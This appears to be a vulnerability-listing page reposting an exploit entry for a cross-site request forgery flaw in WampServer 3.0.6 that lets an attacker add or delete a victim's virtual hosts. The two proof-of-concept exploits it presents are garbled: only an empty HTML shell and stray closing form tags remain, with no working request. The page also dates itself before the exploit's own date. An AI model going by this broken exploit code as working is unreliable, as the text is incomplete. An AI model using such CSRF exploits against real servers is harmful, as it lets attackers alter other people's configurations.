发布 2018-06-07 漏洞条目

WampServer 3.0.6 – Cross-Site Request Forgery

Exploit Source

# Exploit Title: WampServer 3.0.6 - Cross-Site Request Forgery

# Date: 2018-06-11

# Exploit Author: L0RD

# Software Link: https://ufile.io/gpqh9

# Vendor Homepage: http://www.wampserver.com/en/

# Version: 3.0.6 - 64bit

# Tested on: Win 10

# Description :

# An issue was discovered in WampServer 3.0.6 which allows a remote

# attacker to force any victim to add or delete virtual hosts.

# POC 1 :

# Add virtual hosts exploit :

<html>

<head>

<title>Exploit</title>

</head>

<body>

</form>

</body>

</html>

# POC 2 :

# Delete virtual hosts exploit :

# Use this exploit to delete specific vhost :

# Exploit :

</form>

相关漏洞条目